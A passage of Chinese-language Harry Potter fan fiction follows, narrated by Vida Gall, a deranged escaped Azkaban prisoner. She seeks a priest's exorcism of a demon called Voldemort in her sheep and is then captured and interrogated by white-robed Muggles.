那是一个完美的房间,一个完美的摇篮。唔,房间里的一面墙刷成浅粉色,墙壁上贴着嫩黄色的星星。摇篮由胡挑木打造,被褥又软又舒适。
我将脸贴在稻草上,迷迷糊糊地想,阿兹卡班也像一位母亲一样拥抱着我。
我开始爱上这里——狭小的空间、定时出现的粮食、同胞兄弟的泣声——只有在偶尔的间歇,我将信将疑地观察摇篮那高高的四周——它们为何如此冰冷?
“唉,又疯了一个。”我的兄弟在另一个摇篮里说,“喂,你还能说话吗?”
17.马厩概论
家庭教师走后,隔了一段时间,保姆就把晚餐送了过来。我隔着门问他,妈妈什么时候回来。
我的妈妈也是一位老师。
“没错,她现在正在教育犯错的你。”我的兄弟不合时宜地插嘴。
我的嘴角下撇,一边有礼貌地吃着餐食,一边告诉他我还是一个婴儿,婴儿不会犯错。
“好吧,我们的母亲是一位老师,那父亲呢?父亲是谁?”
我的母亲是一位老师,父亲是一位公务员,他们都是严厉的人。
“你疯了。”他说。
“我没有疯,安静,莎拉。”
“莎拉是谁?”
“莎拉是你。你连名字都忘记了吗?”我一边收拾着幼儿读物,一边将被子盖在身上,抱着双腿准备入睡。
不对,吃完饭之后要适当地运动。我是一个十分擅长照顾自己的规矩孩子,是一个省心听话的孩子。于是,在摇篮里蠕行半个小时候后,我气喘吁吁的倒在被褥间,今日的运动指标已经达成。
催促左邻右舍的兄弟姐妹们按时入睡后,我就陷入梦想。
婴儿的睡眠放松且令人愉悦。
在天光大亮时,我起床并且按响脑中,叫我的兄弟姐妹们起来。早睡早起是身体健康的诀窍,我不许这里任何一个人生病。
我们的妈妈不在这里,所以疾病是一个危险的坏东西,所有人都要保持健康。
闹钟不停响着,很快,我最要好的兄弟“莎拉”也起来了。
“老天,你别叫了了。”莎拉说。
“早上好,莎拉,我没有叫,是闹钟在响。”
“早上好——唉,随便你吧——待会摄魂怪就要来了,你先别吵,我在睡会。”
总之,我叫醒了他。提醒的义务已经达到,剩下来的就是他自己的选择。我已能够向母亲交待。
将今日的贡献记在摇篮上,我又运动大约半个小时。之后,我们的家庭教师就来了。
我们的教师有一个秘密,它让我一定要保护好这个秘密。它是一位伟大的智者,总是向我传授我无法理解的知识——比如说雏菊根到底要在什么时候放进████里。
它一说这些我就犯困,最后竟然到了倒头就睡的地步。好在它是个仁慈的好人,我拿捏住它的秘密,它就不再与我多做纠缠。
用秘密换取好处,这种事情我做得十分熟练。
教师走后留下许多我不懂得的作业,这时候莎拉总是会帮我做写着题目。他是个暴躁的家伙,但是总体来说是好的,他的行为是好的。
“所以,雏菊根到底要在什么时候放进████里?”他问我。
“我不知道,我睡着了。”我诚实地回答。
“为什么连药剂的名字都记不住啊!”
隔壁摇篮发出“咚”一声的响动,我提醒他小心身体,我很关心他。他却恩将仇报地说要考考我。
“你还记得我昨天教你的‘题目’吗?”
莎拉比我大几个月,所以他是摇篮里的长者,知识十分渊博。
“记得,你说过的,‘妖精叛乱’。”
“很好,你把我昨天和你说的东西复述一遍。”
“我说过了,‘妖精叛乱’。”
“......”
“所以,你是一点都没记住吗?”
“我记住了呀!妖精叛乱。”
“够了!够了!我受够了!”
他在另一个摇篮里欣慰地结束这一话题,过了一会,又说如果我对历史不感兴趣,他就教我一些生存的本事。
那是一门叫做“火”的知识。
“厉火。”他嚷嚷道,“不要只记一半的名字。还有,我说了这么多,你只记得这个吗?你这个纵火犯。”
“我不是‘纵火犯’。”我说。
“得了吧,你的审判书上说了你是纵火犯。”
“我不是!”我大喊大叫,“我只是在保护自己!”
“你点燃了十七个麻瓜。”
麻瓜到底是什么坏东西!
我愤恨地躺在被褥间,又想起莎拉说的“母亲在惩罚我”,想来大约是因为这件事——因为我烧了麻瓜。
“什么是‘麻瓜’。”我问莎拉,“是蔬菜吗?”
“是哟,是爸爸的蔬菜。”莎拉冷笑道,“我们的爸爸——魔法部的蔬菜。”
好了,我的父亲的名字终于出现了。
我要强调一下,我并非对父亲有所不满,只是我们之间的关系实在生疏——我再次强调,我并非对他有所不满,虽然是他把我抓起来、关起来的,他是一个坏人、公务员、暴力狂。
但是我们的母亲阿兹卡班是仁慈的,她给予我在这个世界上仅存的容身之处,给予我床铺、食物和教育,她是一个严厉且善良的老
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师。
唉,不就是烧了一点蔬菜,他为什么要这样对待我呢?
“因为他需要麻瓜。”莎拉说。
可是,可是!
爸爸真正需要的应该是妈妈!
我震惊不已:“他出轨了吗?麻瓜是别人送给他的?没错,一定是这样,他一定是在外面养了坏女人,我是站妈妈这一边的,所以我处理了麻瓜,一定是这样。”
“谁知道你怎么想的呢?”莎拉漫不经心地说,“好了,麻瓜死就死咯,我们又不是麻瓜。”
“他爱麻瓜胜过爱我!”我痛苦地说,“我是他的小孩!”
“他有许多小孩,你是哪一种?”莎拉嘲笑我,“你是麻种吧。”
“难道我们也是私生子吗?”我更加震惊,没想到不被祝福的居然是我自己。
“是啊,你还绑架的高贵的婚生女。”他毫不留情的继续道。
我开始抽泣,觉得我的父亲实在是这个世界上最可恶的人。“所以我们都是私生子,”我总结道,“我们是不被期望的、肮脏的野/种。”
但是我们都是妈妈的孩子,我们是妈妈的宝贝。
“是的,所以妈妈还在养我们,我们对她有用处。”莎拉说,“一旦我们没用了,她就立刻会像父亲抛弃我们一样,做出同样的选择。下一次,迎接我们的就是死亡。”
“加尔,死亡才是我们真正的母亲。”
莎拉说完,就再也没和我说过话了。往后,任凭我怎么按闹钟,他再也没和我说过早上好。我觉得摇篮一下子就变得冰冷,那暗色的胡桃木总是露出石头般的阴影。
我开始向教师和保姆哭闹,要求见一见母亲。可是母亲始终没有来。
她的每一次拒绝都令我心碎。
她放任我在摇篮里嚎啕大哭。
她【从来】没有拥抱过我。
我十分怨恨她,即使她是我的母亲,我也要怨恨她。是她使我们之间的关系变得疏远如同陌生人。她给予我食物时高高在上的态度正在剥掉我的皮。
我恨那个打开门施舍的仪式,恨她捆在我身上的襁褓,恨她教给我的所有的“秩序”。
我怨恨她已经到了无以复加的地步。
一日,我用火点燃这个冰冷的摇篮,它被烤得温热,我的兄弟姐妹们放声大笑。
我拯救了他们。
我杀死了【母亲】。
18.甘甜与感恩
父亲的猎犬很快抵达火灾现场,我扯开襁褓,看向这些身形怪异的犬科动物,它们穿着制服,想来应该是父亲借过来的工作犬。
烧掉它们。
烧掉它们。
烧掉它们。
怪叫的狗、残疾的狗、漆黑的狗、父亲的爱犬在火中挣扎,我伤害到他了吗?我令他感受到我的怨恨了吗?
【1968年,重刑犯维达·加尔越狱】
还不够。
我应该给予他同等的报复。
因为爸爸妈妈是平等的。
这是常识,也是秩序。
【1969年,魔法部失火,三名大法官遇难】
我能去哪里呢?
“去姑姑家。”
我瞪大双眼,直愣愣地走进农场。爸爸妈妈的遗产也跟过来了,它用柔软的头颅轻轻蹭我的手掌,好羊——好羊——
你现在是我的财产了。
-
午餐以后,乌拉尼亚·加尔小姐会在吸烟室度过午后时光。所谓吸烟室也不过是一间在一楼单独隔出来的小房间,里面有一张沙发和一个煤炉。
窗户外面是一座小花园,角落里开着杂乱无章的杜鹃花。越过花朵,能够看见一条布满泥泞的小道,看门狗正在大声吠叫,一个衣着破烂的少女正与狗长久对视。
——维达·加尔。
乌拉尼亚小姐几乎一瞬间就从对方那张空洞的脸上认出她的身份。她太熟悉了,这张脸与她那个一贯装模作样的兄弟十足相似,性格也是。只是她的兄弟早已学会伪装,这个孩子却不会。
乌拉尼亚浑身汗毛倒竖,她想与看门狗一起大叫,让这个扰乱她生活的怪物走开;又在心底不自觉地可怜这个孩子。
老小姐可以听见天使对她耳语道:维达一定受了许多苦,不然她不会回来,不会回到我们身边来。
宽恕她吧,天使道,她已经足够可怜了。
最后,乌拉尼亚小姐接受上帝的感召。她走出吸烟室,绸缎鞋子踩在泥泞的道路上。她伸出干枯而温暖的手牵起呆愣愣的少女,将她领回家中。
农场经营十分困难,乌拉尼亚小姐整理好本月的借条与利息后,疲惫地接受了需要再养一个孩子的现实。她对维达说:“我已经老了,不能像你的爸爸妈妈一样养你。”
加尔转过脸,她好奇地盯着乌拉尼亚的双手,看向她手里那些白花花的纸张。
“我有钱。”她说,“我的爸爸妈妈有钱,他们有许多钱。”
“他们没有。”乌拉尼亚强调,“那都是不义之财。”
“我已经将那些罪恶交还给上帝,现在,我们用自己的双手生存。总之,你需要为我工作。”
加尔眨了眨眼,与此同时,修士正将手伸进募捐箱。
“好多钱哊。”
上帝的使者说。
--
怎么会没有钱呢?
我掏掏口袋,里面立刻滚出一枚银西可。我将钱币举到她面前,以证明金钱存在的事实。
“这是‘钱’,”我对她说,“‘钱’、‘银西可’,一枚银西可等于十七分之一金加隆,等于二十九纳特。”
我的姑妈脸上流露出刻薄的神色,她将我的钱抢过去,紧紧攥在手掌心。我盯着她的脸颊,看着那一条又一条像是山体间沟壑般的皱纹,耳中火车轰隆轰隆地响着,好像我又穿上红颜色的衣服,跟姑妈一起坐在火车上。
我笑了一下,像是喉咙里藏着一只鸽子般。在脑袋摇晃之间,我盯着房间里一个怪异的“手”,那是一个雕塑,被放在黑胡桃木的展台上。手是金色的,但纹理却泛黑,瞧着不像是金子。
我对自己的眼力十分自豪,那必不是金子,但一定是姑妈的心爱之物。
“我回来了,还弄到了钱,你高兴吗?”我问她。
她不知怎么的,浑身颤抖一下。
“你不高兴吗?”我又问。说完,又将手背贴在她的脸上,“我们是血亲,你甩不掉我,这里是我们的家。”
她的皮肤十分柔软,但不是年轻人那股充满弹性的光滑感,而是衰老、松垮和缺水的松软,像沙土。
老人与青年、衰老与活力——越过我们之间离别的近十年时光,这个老虔婆只能像鹌鹑一样缩在原地,任我摆布了。不过没关系,她是我的第一个家人,在没有找到第二个之前,她是安全的。
暂时安全。
我换上老旧的棉睡衣,踩着台阶走上楼梯,房间里乱糟糟的,我本能想要拿出魔杖,找了一圈才想起来,我的魔杖应该是被魔法部收走,和法官们一起上天堂了吧。
阿兹卡班的监禁生活几乎毁掉了我,我在逃出去之后过了很长一段时间疯癫的生活。某一日,我在池边饮水,羊不远万里跑到我身边,将我狠狠顶进池塘。
湖水咕噜咕噜往上冒着泡,阳光照在泛绿色悬浮灰黑色细水草的池面上,折射恍若利刃般的光刺穿我混沌的大脑。
浑身痉挛、呛水、窒息——于无意识中,我爬回岸边,蜷缩在羊柔软的腹部之下。
我还活着。
池水顺着头发往下,滴落在原本就泥泞不堪的草地上。脏污的衣物因此变得更加不堪入目,我的手指狠狠抓挠地面,于痛苦中,我才发现我还活着。
羊轻轻舔着我的耳朵,我似乎听到天使的耳语。它在说什么呢?
对了,它说:去诅咒他们,去伤害他们,你需要力量。
我问:如何获得力量?
我的手指缓慢摸索着羊的嘴唇,我切实听到了,是羊在与我对话。它是我的羊,又不是我的羊。它附身在小羊身上,令这只动物——令我唯一的财产脱离我的掌控。
——它是恶魔。
在那一年中,我为羊举行过各种各样的驱
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魔仪式,可惜于事无补。那个声音甚至越来越清晰,越来越大声。我的小羊为此感受到痛苦,它变得暴躁、忧郁、食欲不振,甚至会自己咬开皮毛,在身体上制造出一道又一道伤口。
羊的痛苦也为我增加无形的压力,我甚至觉得自己疯得没那么厉害了。我乞求过恶魔放过我们,祈求它离开我的小羊。我不知道我们如何冒犯过它,我可以为我们赎罪。
它很得意,似乎在以我们的痛苦为食。我假意奉承,最终知晓这只恶魔的本名——伏地魔。
传说中,知晓恶魔的名称便能将恶魔驱逐回地狱。因此,我需要一位虔诚的牧师、圣水和教堂。
我想起我的姑妈,她是一位虔诚的信徒,她的牧师也必定是虔诚的信徒。
我还是回去找她了,无论疯狂或是清醒,我都作出同样的选择。
我不能失去我的羊。
紧闭的房门外传来响动,我打开门,发现姑妈还在那里。她突起的像青蛙似的双目直愣愣地看向我的房间,“这么久了,你还没收拾好吗?不,你是一点都没动。”
她撞开我,嘴上喋喋不休地开始把床单铺好——“这些年你在外面到底做了什么?我要和你再次强调一遍,你不准把虱子带进来,还有你那些像虱子一样的坏毛病。”
“帮佣呢?”我站在一边问,“怎么不让帮佣做?”
她手上的动作不停,说道:“我们已经请不起佣人了。”
“你破产了吗?”
“......”她没有回答。
我就在这里住下来了。
白天,我给农场打水、倒饲料、擦洗地板来换取一天两顿的食物,晚上在天黑之后就把门窗全部锁好,安歇睡觉。
姑妈的农场前些年遭遇报复,现在已经濒临倒闭。往日里那些欺负过我的帮佣已经全部被辞退,农场里的动物也只剩下几只产奶的牛和下蛋的鸡。相比起幼年时,工作量像是减少了。
我在这里忍了三天,到了周末,姑妈决心带我去教堂。她先是像小时候一样小心翼翼地在我耳边念叨着上帝,斜着眼观察我是否还像当初那样驯服。然后又说起上帝的伟力定能将我身上的疾病暗伤治疗好,让我回归正途。
如果我想找牧师,拜托他帮我驱魔,那就只能借姑妈这个掮客的身份了。我已经编好故事了——摇摇欲坠的农场、珍贵的动物、附身的魔鬼——作为街区里传道的牧师,他必定不能拒绝。
等着吧,伏地魔。我看着羊圈里被锁起来小羊,心底暗下决心,一定要驱逐这只魔鬼。
小羊的嘴上绑着一根绳子,这是我模仿富人的狗给它做的。我将手伸进栅栏你,羊便立刻跑过来蹭我。一时之间,我的鼻子多了几分酸意——我们一起渡过了那么长的时间。
“我会拯救你的。”我对它说。
既然巫师的手段行不通,那就看看上帝的力量吧。
19.以自己所有的为足
在小镇的钟楼下面,正对着牧羊人广场,有一个往返城市的汽车站点。车大约两天来一趟,坐上去的人很少,回来的人也一样。
此日正是安息日,有几位衣着整洁、低调的城里人造访这座畜牧小镇,他们走进教堂,要见牧师。
钟楼发出巨大的轰鸣声,伴随着如天使腹中饥饿而响动的声息,小镇上的居民也缓慢走进洞开的教堂之口。
乌拉尼亚和我穿着还算整洁的衣服走在街道上。她一直抓紧我的胳膊,像是觉得我是一个随时会跑出去的神经病,口里念叨着等会见到镇子上的人要安静、面对牧师要礼貌。我则东张西望,将这里的街景与童年的回忆一一对应起来。
这并不是什么难事,这里没有任何变化。
早课十分无聊,只有一部分人对我回来表现得冷嘲热讽。大概是我离家出走之后,姑妈就已经将我的恶行宣扬得人尽皆知的缘故,这里人大多对我十分冷淡。好在我也不在乎他们,只要他们不伤害我,我们就能平安地相处下去。
今日的课程是哥林多的篇章,牧师说得很无聊,我在下面盯着他,只想着什么时候能单独找时间谈谈。
关于驱魔。
“我若能说人间的方言,甚至天使的语言,却没有爱,我就成为鸣的锣、响的钹一般。我若有先知讲道的能力,也明白各种各样的奥秘,各样的知识,而且有齐备的信心,使我能够移山,却没有爱,我就算不了什么。我若将所有的财产救济穷人,又牺牲自己的身体让人夸赞,却没有爱,仍然对我无益。”
“凡事包容、凡事相信、凡事盼望、凡事忍耐。”
“我做孩子的时候,说话像孩子,心思像孩子,意念像孩子;既长大成人,就把孩子的事丢弃了。我们现在是对着镜子观看,模糊不清;到那时,就要面对面了。我如今所认识的有限,到那时就全认识,如同主认识我那样。”
我瞪着眼睛,完全听不懂这个家伙在说什么。想来不过是人在基督再临之前是不完整的,是小孩,等到基督回来了,就是大人了。
基督是什么?
十八岁的分界线吗?
那有的国家定在二十岁该怎么办?让基督等两年再来?
那十五岁的又怎么办?基督先过来一下?
基督是小狗吗?
我晕乎乎的,又听见他说着人类此世见到的所谓上帝的荣光,所谓上帝的形象,就像是在*镜中*见到的一样,只是反射的上帝的形象,而并非真实的上帝的形象。那面镜子在《智慧书》中亦有提及。
世界分为两面,既基督的世界与人类的世界。基督将恩赐传播给人类,只是这恩赐是不完善的、是人类无法完全领略的;唯有等到基督再临,到那时,人才真正完整起来,到那时,恩赐也就不再重要了。
所以,恩赐是这个世界的补充。
至于“爱”——十分遗憾,我并没有听懂其中含义。不过好在不止我不懂,这里绝大多数人都不懂。
当我侧过头时,我会看见坐在我边上的姑妈在发呆。她的手指叠在一起,无意识地去抠指甲两侧的死皮。在我的另一边,一对中年夫妻已经昏昏欲睡。
等到结束时,所有人都如蒙大赦般站起来,活动自己僵硬的脊柱与四肢。我的姑妈将手按在后背上,指节一下又一下按压自己的脊柱。试图用疼痛来替代麻木的酸胀。
我能理解这种行为,就像是在阿兹卡班里我们用疼痛来舒缓精神上的空白一样。
大家一起走出去,却又在门口停住互相交谈。这才是今天的重头戏,没有人是真正奔着上帝的故事来的,不然大家也不会穿上整洁的衣物,临走之前特地洗手,洗头,修剪指甲。
所谓衣物、容貌与装饰都不是给上帝看的,当然,上帝也见不到,就像人见不到上帝那样,上帝也见不到穿着衣裳的人。
人类自认为穿着整洁是对上帝的礼仪,但是穿衣正是罪过的象征之一。
罪恶的表皮与装饰。
乌拉尼亚姑妈的喋喋不休简直毫无意义,同时,我也开始怀疑,牧师真的能为我的羔羊驱魔吗?
不要陷入怀疑的陷阱,既然已经来到此处,我是一定要努力一下的。正当我想着怎么才能从姑妈身边溜走,与牧师搭上话时,那位牧师却走到我的姑妈身边站定,微笑着询问我是否是维达·加尔。
我皱起眉毛,乌拉尼亚代替我回答了。
“你看上去长大不少,现在应该不是学校放假的时节吧?”牧师——斯庇德先生问。
“她已经不再读书了。”我的姑妈仍旧抢答,她尴尬地笑了一下,解释道,“现在我需要她帮我打理农场。”
斯庇德点点头,他对姑妈说,她是一个仁慈的人,上帝会保佑她。这句话听起来就是在敷衍人,但是乌拉尼亚相信了,她以此为荣。
紧接着,牧师又说,如果我要在这座小镇上定居,就应该多与其他信徒交流。他鼓励我参加那些互助会,不论我是否真的需要帮助,多与人交流总是好的。只是我的姑妈并不这么认为,她这个人以我为耻,生怕我丢了她的脸。
再加上社交活动都是要花钱的,很久之前,我吃的是贝拉的钱,现在如果我要社交,吃的就是她的钱了。她连我父母的钱都不给我,万不会从自己的口袋里掏一分钱。
所以,她也只是摆摆手,当着我面说我之前出去打工,这里——她指了指自己的大脑——有点问题。证据就是那枚银西可。
牧师笑了一下,这种宽容的微笑很快便传递给乌拉尼亚,她也笑起来,两个人用同样的,怜悯的眼神看向我。他们像是有什么要详谈,就走到一边的房间里去了。
十分无聊。
我坐在已经变空的房间里,看向窗户外面的世界。此时,阳光从远处投射而来,照在教堂的建筑上。于是,这件小房子的影子便拉长、变形,将牧羊人广场上的破旧雕像盖住。新漆过的白色墙壁气味未散,混合在靠近道路的车尘以及焚香的气味里,突兀难言。
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五名衣着不像是小镇上的男女正站在站台前照相,我看向他们,他们便齐齐望向我。
一只鸽子飞扑过来,拍击在窗户上,羽粉散开,遮住这些人奇怪的脸。我皱起眉毛,总觉得他们看上去有些面熟,却又实在想不起来。
只要不是来逮我的巫师就行。
之前的时候——特指我还没袭击魔法部时,那些傲罗会像狗一样追着我咬,为我与小羊制造不少麻烦。再到后来,等到我真正袭击魔法部,他们却不再找我了。
难道袭击魔法部是什么可以抵消罪过的善行吗?
我撑起脸,只觉得这帮人实在是欺软怕硬。难道他们不知道是他们把我逼上这条路的吗——好吧,我也知晓我有一部分过错,我渴望走捷径,就是如此——但是谁不想走一条快又好的路呢?
我拒绝麦格教授,转投贝拉,因为麦格教授根本就不能保护我,她根本就不愿意给我出头,如果我跟着她,说不定最后几年连书都念不起,最后光荣退学。至于贝拉,我从和她复合的第一天就开始从她身上捞好处了,如果不是布莱克夫妇大惊小怪,我本来不会走上如今这条道路。
布莱克家毁了我!
这样的想法形成在我脑海,却没有产生多少愤怒的情绪。我好像是明白了,其实我的人生早就被毁掉了——从我决定在这个世界出生,从我与母亲相连接的脐带里留有巫师的天赋起,我的人生就已经被毁掉了。
我的父母都是麻瓜,为什么我是巫师呢?
为什么我是特殊的?
我不是什么渴望蒙起脑袋过日子的蠢人,比起钝刀,我更希望能够看这铡刀落在我的脖颈上。因此,阿兹卡班的幻境只能困住我一时,它只是痛苦生活里的止痛药,是我在真正无力时想出来的出路。
等到我逃出来,就应该停药了。
贝拉也是一种止痛药。
贝拉特里克斯!我咀嚼这个名字,心里一片沉重与涩然。她的人生就像是一面残酷的镜子,让我看见生活里的所有痛苦与不堪。我是软弱的,我渴望止痛药,所以我会逃离农场,我会沉溺于底层中互相伤害的乐趣,因为只有这样才能证明:我优于那些和我打交道的人。
但是当麦格教授把我拽出丛林——我是多么不情愿,就好像魔力和天赋又操纵脐带捆住我的脖颈,将我牵出来一样,我走出丛林,来到秩序的社会,最后只能看见在秩序的衡量标准下变成废物的自己。
所以我充满怨恨、充满愤怒、充满恐惧,我无法忍受也无可期盼,我渴望再次优于这些人,然而,世界的规则却又设立一个天生的门槛
——血统。
我是一只不受教化的野兽,我不理解血统,却也知道这是好的,这是我得不到的。因此就只能靠着一位有血统的朋友,让渡自己的权利给她,乞求她帮助我。
贝拉帮助我了,但是还不够,她随时能离开我。
我要让她的成为我的。
所以,我希望她成为我的。
20.贪食密续
组建家庭只是一瞬间的幻想,但是谋算早已经过一番深思熟虑。我不爱她,我渴望得到她,我渴望征服她,就像丛林里的一只兽去捕猎另一只。
只是她的父母实在爱她,又或者实在爱她作为“布莱克家的子女”这个身份。他们是如此欣喜于抓到我的错处,迫不及待地切割我们之间的关系。
现在想来,那封吼叫信应该是布莱克夫人发出的最后的警告。
我转了转眼珠,心里有些好奇布莱克家如今是什么样的状态。既然我与贝拉分离,又成为罪犯。那么只怕我们是无法在布莱克夫妇有生之年里再见面了。不过没关系,如果我能够成为一道恐怖的阴云,一直笼罩在他们的巢穴上,那也就证明我胜过了他们,我毁掉了他们。
我溜进后院,正巧见到乌拉尼亚与斯庇德谈话结束。他们互相道别,好像在约定什么。
我藏在草丛里,等着乌拉尼亚离开,就从灌木后边探出身子,问牧师世界上究竟存不存在魔鬼。
牧师认为魔鬼是存在的,他说,魔鬼就藏在人群中间。
我又问,那么,上帝是否存在呢?
这个问题拿来询问牧师实在是愚蠢,但是对于我而言却是一件极为重要的事。如果上帝存在,那么是否那些巫毒教的神也是存在的?那些脱胎于上帝却又不同于上帝的神也是存在的呢?
如果牧师不管用,我就去找那些黑人带进来的巫毒教。
“上帝存在,且唯一存在。”他回答我。
我心里对这个答案不屑一顾,心里已经做好盘算。我问他:“既然魔鬼存在于人世界,上帝也存在且唯一存在,那么上帝会展现他的伟力来对抗魔鬼么?”
牧师的脸色有一瞬间僵硬,他的眼神微动,复而闭上眼,过了一会,他说:“上帝会指引人找出人群中的魔鬼。”
我不知晓他说的话是否真实,也不知晓上帝如何找出魔鬼。在我的生活里到处都是魔鬼,人们认识到魔鬼的存在,那又如何呢?人类却审判不了魔鬼,审判的权力在上帝的手上,上帝却不愿意审判魔鬼。
“上帝会处决魔鬼吗?”我追问道。
“是,魔鬼是力量的偷窃者。”他的声音流畅,对我说,“魔鬼窃取上帝的伟力,伪装成人类藏于我们的子嗣中,我们要做的就是将这些魔鬼找出来,将他们的赃物归还。”
“你能驱赶魔鬼吗?”
“我能。”牧师回答。
他的声音十分奇特,像是塑造出某种与城市共鸣的轰声,眼神坚定锐利,饱含说服之态。这样坚定的信心莫名令我感到亲近,我身边从未有人展现出这样的神色,仔细想来,我遇到的多是为生活奔波的苦命人,或者懵懂不堪的孩子,又或者是些狡诈之徒。
如果真要让我去想象,大约只有像麦格教授这样的知识分子才能有这样的神态了吧。
联想又让我对他信服几分,我已急病乱投医。
“太好了,先生。”我说,“我的家里藏着一只魔鬼。”
“我已知悉魔鬼真名。”
--
事情异常顺利。
斯庇德先生十分流畅地接受了一只羊身上藏着叫做“伏地魔”的恶魔这件事,并与我约定在两天后举行驱魔仪式。
我问他需要什么报酬时,他摆了摆手,称我已经将报酬奉献给他。
“我交给您什么了?”我问道。
“美德与勤劳。”他说,“加尔小姐,愿你成为一位善良、慷慨、勤劳的子民。”
我礼貌地朝他微笑。
等到离开庭院,乌拉尼亚姑妈正满心怒火地寻找我。但是当她真正找到我后,却又不会在大庭广众之下对我叱骂,因为这不符合礼仪。
我践踏在她的心上,盯着她因为心绪难平而涨红的脖子,难得感受到快意——那种复仇的快乐。
我是一个没有什么耐心的人,也不是什么无私奉献的人。我回来这里也只是为了给我的小羊治病,赶走那只喋喋不休的恶魔。
夜里,风把枝叶吹到我休息的那个四四方方的小房间。我讨厌这个地方,它总让我想起监狱。小羊正在底下低声叫唤,我走到窗户边,只看见乌拉尼亚晚上不睡觉,站在笼子边上。
我叫了她一声,她像是受到惊吓般抬起头。
老小姐那张衰老苍白的脸照在月光里,呈现出油蜡覆盖的质感,五官在光影中逐渐歪斜,模糊边界后似是开始融化。
树叶窃窃私语,我问她:“你在做什么?”
她没有回答我,身形晃了晃,消失在窗框之外。我不放心,又走下楼梯,正巧撞见她上楼休息。我又问了一遍,她的身子猛地一颤,恐惧地望着我。
我没有管她,继续下楼。
羊被绑缚在笼子里,方才乌拉尼亚把它的嘴套摘掉了。我见这只生物的嘴唇动了动,吐出一个沙哑的男人的声音:
“那个女人想杀死你。”
“这样啊。”我伸出手,直接捏住它的嘴巴,熟练地套上,“从现在开始,你不准说话。”
说到这里,我想起了文豪先生。真不知道他现在在天堂过得好不好,不好也无所谓,只要没关在阿兹卡班就是好的。
我又开始得意起自己也能像文豪先生教训我那样教训别人了。我盯着羊嘴巴上的套子,看了又看,满意的不得了。
羊抖了抖。
第二天早上我起床做饭,把香肠切片放进乌拉尼亚的盘子里,然后端上楼送给她。她坐在床上,礼貌地向我道谢后,又问我水有没有打好,有没有给动物倒饲料。我一一回答,侍奉在她身边,像个小奴隶一样让她过足小姐瘾。
等到她吃完最后一片香肠,我说道:“你不应该去碰我的小羊。”
“它会把你的手指头咬下来。”
乌拉尼亚脸上浮现出痛恨的神色,“它是赃物。这本来是你从我的农场里偷走的。”
“这样吗?您很爱它吗?您非它不可吗?”我将手指抵在下巴上作出思考的样子,“这样,我为您再牵两只羊回来,作为赔偿怎么样?”
“这只羊归我喽。”
乌拉尼亚并不相信我能用合法的手段为她弄来两只羊。最
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后,她把盘子扔在地上,叫我滚出去。
反正这是她的房间,烂掉臭掉都不管我的事。
最近两天镇子上多出一些生面孔,大约十人左右,我总能看见他们,就像他们总能见到我一样。
我感觉到一些奇怪的氛围。就像在小巷里走得好好的,被便衣傲罗盯上然后施展围捕般。本能在提醒我离开,好在今日恐怕就是我留在此地的最后一日了。晚上,我就带着羊去找牧师。
夜晚的时候,我最后摸了摸小羊的脑袋,我对它说:“很快,我们又能过上自由自在的日子了。”
羊已经被关怕了,用毛茸茸的脑袋不停地蹭着我的掌心,它的嘴唇蠕动,似乎是寄生于它身体上的魔鬼想要求饶。
我的脸上露出笑容。此时此刻,月光淌在人的脸上,却不似太阳般灼热,它是夜晚的光亮,与夜晚一样寒冷。
我解开笼子的锁链,却见到牧师与乌拉尼亚一起站在窗户那里看着我。他们二人面色苍白,乌拉尼亚的脸上有一摸兴奋的红色,他们朝我挥了挥手。
栅栏传出响动,我猛地回头,只见数十道人影从灌木丛中站起身,他们中数人搬来一台巨大机器,然后打开——
树丛里猛地飞起几只黄色羽毛的鸟,数秒之后,于空中直直坠落。我瞪大眼睛,好似有一根针顺着我的耳道直直捅进去,下一秒,我眼前一片黑暗。
被麻瓜暗算了。
--
-你还记得那个夜晚发生了什么吗,维达?
-我已经全部忘光啦!
-好孩子,去找你的爸爸妈妈吧。
-那你呢,你要去哪里?
-我和你一起。
记忆中模糊朦胧的女声与水流声混合在一起,我的脑中正在生成一个银白色的梦境。群杉环绕,月亮忧郁的眼睛正注视我不断拉长的可悲阴影。
我与一位面目模糊不清的女士走在回家的道路上。
-我的生日,我的生日前几天就过了。
-那发生过什么不寻常的事情吗?
-没有哦,妈妈给了我钱,我和██一起去买了零食。
-真不错,好了,维达,告诉我,你生活在这里开心吗?
-开心!
-真的吗?
-是的,我*真的*很开心!
女人的脸上始终萦绕着一团雾气,我伸出手想要去抚摸她的五官,但是十分奇特,那种触感令我难以想象这是一张长在人身上的脸颊。
我像是正在抚摸一片泥洼,潮湿、粘腻、柔软、空洞。
我们的对话仍在继续。
-那么,你想要什么礼物呢?
-礼物?
-对,礼物,你的生日礼物。
-你为什么要给我生日礼物呢?唔......不过,这是你说的哦,你要给我礼物,我接受了这个提议......你请我吃一块蛋糕吧!
【一块由██的█做成的蛋糕】
【生日快乐】
【杂种】
我的舌头一阵刺痛。
21.神口里所说的一切话
我的四肢被捆绑起来,固定在椅子上。当我睁开双眼时,就见到牧师与十位身穿白色圆领袍的怪人。他们的衣服是纯白的,有蓝色花纹,男士头上戴着一顶犹太佬喜欢的小白帽,女人则将头发梳得一丝不苟。
“晚上好,斯庇德先生。”我说,“你怎么把我捆起来了。”
我调整脸上的表情,直至它变成纯然的疑惑。
牧师则神态温和,他那只略弯的鹰钩鼻将这张脸一剖为二,烛火以此为阴影,将脸颊的一面照得明亮丰满,阴影又吞噬了另一面与他的眼球。我盯着那张脸,好奇的、疑惑的看着他对我说:
“加尔,你的身体里有一只罪恶的魔鬼。”
他说的没有问题,我正是一只魔鬼。我道:“我记得我们的交易并不囊括我身上的这只。你把我的羊带去了哪里?”
“乌拉尼亚小姐会照顾好它。”他说,“回到现在,我们来谈一谈你的问题。”
斯庇德的语气还是那么彬彬有礼,站在他身侧的那帮人也没有什么动作。但是按照他们袭击我的手段来看,恐怕一开始就是冲着我来的。
我动了动双手,正准备脱身,就听见牧师说:“克莱尔家族去世当晚,你是否在场?”
克莱尔——莎拉·克莱尔。
“我不知道。”我说,“那一会我还太小了。话说回来,我已经连莎拉的脸都忘光了。”
那帮白袍人互相对视,牧师咳嗽一声:“感谢你的诚实相告,加尔小姐。现在是第二个问题:加尔夫妇去世时,你是否在场?”
“我应该不在,”我说,“如果我在的话,现在应该已经死掉了。”
“那你是否知晓是谁杀死你的父母?”
“......”
“你们为我松绑,我就告诉你,怎么样?”我盯着牧师,笑眯眯地说,“您看上去十分了解我,让我想一想,您想知道莎拉家死亡的真相是吗?没关系,我虽然不知道全貌,但是确实掌握住一些*不确定的信息*,现在,它们是秘密。任何秘密都有价值。”
“什么样的秘密?”
“*莎拉的秘密*、*凶手的秘密*。”
